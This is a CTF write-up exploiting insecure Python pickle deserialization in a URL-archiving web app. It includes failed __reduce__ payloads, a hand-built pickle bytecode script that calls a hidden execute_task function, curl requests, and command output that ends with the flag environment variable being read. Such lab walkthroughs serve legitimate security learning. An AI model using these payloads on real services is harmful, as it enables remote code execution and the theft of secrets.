The Cucumber's Secret – CTF Write-up
Reading duration: 10 mins
Preserve any page and recover a forensic metadata report when you need it.
Challenge Overview
We're presented with a sleek web application that archives URLs and generates forensic metadata reports. The interface has two main functions:
- Archive a URL - Submits a URL and receives an Archive ID
- Retrieve a Report - Submits an Archive ID to get metadata
Sounds innocent enough right? Let's dig in.
Initial Reconnaissance
Poking Around the Interface
The first thing I did was open up the web app and check out the source code. The HTML shows a clean single-page application with two forms that POST to /api/archive and /api/report.
Looking at the JavaScript, I noticed something interesting:
const result = await postJSON("/api/archive", { url });
output.innerHTML = `<p><strong>Archive ID:</strong></p><pre>${result.archiveId}</pre>`;The Archive ID looked... weird. Really weird. It was a long base64 string that didn't look like a typical UUID or database ID.
Testing the Archive Function
Following the challenge note, I could only archive http://archive (since we're in an isolated container). So I submitted that:
Request:
POST /api/archive
{"url":"http://archive"}Response:
{
"archiveId": "gAWVmgAAAAAAAACMCGFwcC5tYWlulIwLQXJjaGl2ZU1ldGGUk5QpgZR9lCiMA3VybJSMDmh0dHA6Ly9hcmNoaXZllIwFdGl0bGWUjBFXZWxjb21lIHRvIG5naW54IZSMCXRpbWVzdGFtcJSMFDIwMjUtMTEtMDdUMjA6MjU6NTBalIwLc3RhdHVzX2NvZGWUS8iMCmNoYXJfY291bnSUTWcCdWIu",
"metadata": {
"url": "http://archive",
"title": "Welcome to nginx!",
"timestamp": "2025-11-07T20:25:50Z",
"status_code": 200,
"char_count": 615
}
}That archiveId is definitely base64. Let's see what's inside...
Vulnerability Discovery
Decoding the Archive ID
echo "gAWVmgAAAAAAAACMCGFwcC5tYWlulIwLQXJjaGl2ZU1ldGGUk5QpgZR9lCiMA3VybJSMDmh0dHA6Ly9hcmNoaXZllIwFdGl0bGWUjBFXZWxjb21lIHRvIG5naW54IZSMCXRpbWVzdGFtcJSMFDIwMjUtMTEtMDdUMjA6MjU6NTBalIwLc3RhdHVzX2NvZGWUS8iMCmNoYXJfY291bnSUTWcCdWIu" | base64 -d | xxdThe output shows binary data starting with \x80\x05 - that's a Python pickle!
For those unfamiliar, Python's pickle module serializes Python objects into byte streams. But here's the kicker: unpickling untrusted data is extremely dangerous because it can execute arbitrary code during deserialization.
Analyzing the Pickle Structure
Let's use Python's pickletools to see what's really going on:
import base64
import pickle
import pickletools
archiveId = "gAWVmgAAAAAAAACMCGFwcC5tYWlulIwLQXJjaGl2ZU1ldGGUk5QpgZR9lCiMA3VybJSMDmh0dHA6Ly9hcmNoaXZllIwFdGl0bGWUjBFXZWxjb21lIHRvIG5naW54IZSMCXRpbWVzdGFtcJSMFDIwMjUtMTEtMDdUMjA6MjU6NTBalIwLc3RhdHVzX2NvZGWUS8iMCmNoYXJfY291bnSUTWcCdWIu"
data = base64.b64decode(archiveId)
pickletools.dis(data)Output:
0: \x80 PROTO 5
2: \x95 FRAME 154
11: \x8c SHORT_BINUNICODE 'app.main'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'ArchiveMeta'
35: \x94 MEMOIZE (as 1)
36: \x93 STACK_GLOBAL
37: \x94 MEMOIZE (as 2)
38: ) EMPTY_TUPLE
39: \x81 NEWOBJ
Beautiful! The pickle is creating an instance of app.main.ArchiveMeta with all the metadata fields. This means:
- The server unpickles our Archive ID when we submit it to
/api/report - We control the pickle data
- Insecure deserialization vulnerability confirmed!
Exploitation Attempts (and Failures)
Attempt #1: Direct Command Execution
My first thought was to create a malicious pickle using subprocess or os.system:
import pickle
import base64
import subprocess
class Exploit:
def __reduce__(self):
cmd = "whoami"
return (subprocess.check_output, (cmd.split(),))
malicious = pickle.dumps(Exploit())
payload = base64.b64encode(malicious).decode()Result:
{ "error": "Invalid archive." }Why it failed: The server likely has validation checking that the unpickled object is an ArchiveMeta instance.
Attempt #2: Mimicking ArchiveMeta Structure
Okay, let's try to make our exploit look like a legit ArchiveMeta object:
class ArchiveMeta:
def __init__(self):
self.url = "http://archive"
self.title = "Exploited"
self.timestamp = "2025-11-07T20:25:50Z"
self.status_code = 200
self.char_count = 615
def __reduce__(self):
cmd = "ls -la"
return (os.popen, (cmd,))
exploit = ArchiveMeta()
malicious = pickle.dumps(exploit)
payload = base64.b64encode(malicious).decode()Result:
{ "error": "Nope! Try again!" }Why it failed: The server is doing more sophisticated validation. Just having the right attributes isn't enough.
Attempt #3: The Hidden Hint
Frustrated, I tried a few more variations, and then I got this beautiful error message:
{
"error": "Error 192: Archive Failed. Developers should activate maintenance mode with execute_task to debug."
}Wait... what? 🤔
"execute_task"? That's oddly specific. This error message is basically screaming "HEY, THERE'S A SECRET CLASS CALLED execute_task!"
The Breakthrough: execute_task
Crafting the Exploit
Based on the error hint and the original pickle structure, I realized we need to call app.main.execute_task with a command as an argument. Let's craft a pickle that does exactly that:
import pickle
import base64
def create_pickle(cmd):
module = b'app.main'
classname = b'execute_task'
command = cmd.encode()
# Build the pickle bytecode manually
# PROTO 5 + FRAME + module + class + STACK_GLOBAL + command + TUPLE1 + REDUCE
frame_content = (
b'\x8c' + bytes([len(module)]) + module + b'\x94' +
b'\x8c' + bytes([len(classname)]) + classname + b'\x94' +
b'\x93\x94' + # STACK_GLOBAL
b'\x8c' + bytes([len(command)]) + command + b'\x94' +
b'\x85\x94' + # TUPLE1 + REDUCE
b'R\x94.'
)
frame_size = len(frame_content)
result = b'\x80\x05\x95' + frame_size.to_bytes(8, 'little') + frame_content
return result
# Test with ls -la
malicious = create_pickle("ls -la")
payload = base64.b64encode(malicious).decode()
with open("payload.json", "w") as f:
f.write(f'{{"archiveId": "{payload}"}}')Testing the Payload
curl -X POST https://690e340c4ca025c9b826271e-8000.gateway.cityinthe.cloud/api/report \
-H "Content-Type: application/json" \
-d @payload.jsonResponse:
{
"metadata": {
"char_count": 334,
"status_code": 0,
"timestamp": "2025-11-09T17:14:03Z",
"title": "total 24\ndrwxr-xr-x 1 appuser appuser 4096 Oct 24 17:29 .\ndrwxr-xr-x 1 root root 4096 Oct 23 18:08 ..\n-rwxrwxrwx 1 appuser appuser 2475 Oct 23 18:02 README.md\ndrwxr-xr-x 1 appuser appuser 4096 Oct 24 17:29 app\n-rwxrwxrwx 1 appuser appuser 205 Oct 23 18:02 pyproject.toml\ndrwxr-xr-x 1 appuser appuser 4096 Oct 23 18:08 templates",
"url": "maintenance://ls -la"
}
}IT WORKED!
Notice the command output is in the title field. That's our exfiltration channel!
Reading the README
Now let's see what's in that README.md file:
malicious = create_pickle("cat README.md")
payload = base64.b64encode(malicious).decode()The README reveals everything about the challenge:
# The Cucumber's Secret
A single-page archive service... The security controls appear tight, but a
carefully weaponized archive token can still trigger remote code execution
via Python pickle.
## Defensive Layers
- Class allowlist – Custom SecureUnpickler only accepts app.main.ArchiveMeta objects.
- Byte filter – Rejects tokens containing substrings such as system, import, or
subprocess before unpickling.
- Runtime isolation – Application runs as appuser with no write access to the
container filesystem when launched via --read-only. The flag is exposed solely
through the read-only FLAG environment variable.
## To Run
docker run -p 8000:8000 --read-only --tmpfs /tmp -e FLAG="SKY-\***\*-\*\***" cucumber-secretFINDING: The flag is stored in an environment variable called FLAG! Redacted the full flag here to preserve the challenge integrity :)
Capturing the Flag
Let's extract that environment variable:
malicious = create_pickle("printenv FLAG")
payload = base64.b64encode(malicious).decode()Submit it and check the title field in the response. You should see something like:
{
"metadata": {
"title": "SKY-****-****",
...
}
}And there's your flag!
Key Takeaways
What I Learned
- Always inspect encoded data - That weird looking Archive ID was the key to everything
- Error messages can be goldmines - The "execute_task" hint was intentionally helpful
- Pickle deserialization is extremely dangerous - Never unpickle untrusted data in production
- Bypass techniques matter - Even with allowlists and filters, creative exploitation paths exist
The Vulnerability Chain
The Exploit in Action
Here's the final exploit script for anyone who wants to try (for similar challenges):
import pickle
import base64
def create_pickle(cmd):
"""Create a malicious pickle that calls app.main.execute_task(cmd)"""
module = b'app.main'
classname = b'execute_task'
command = cmd.encode()
frame_content = (
b'\x8c' + bytes([len(module)]) + module + b'\x94' +
b'\x8c' + bytes([len(classname)]) + classname + b'\x94' +
b'\x93\x94' +
b'\x8c' + bytes([len(command)]) + command + b'\x94' +
b'\x85\x94' +
b'R\x94.'
)
frame_size = len(frame_content)
return b'\x80\x05\x95' + frame_size.to_bytes(8, 'little') + frame_content
# Get the flag
malicious = create_pickle("printenv FLAG")
payload = base64.b64encode(malicious).decode()
print(f"Submit this to /api/report:")
print(f'{{"archiveId": "{payload}"}}')Tools Used:
- Python (pickle, pickletools, base64)
- curl
- xxd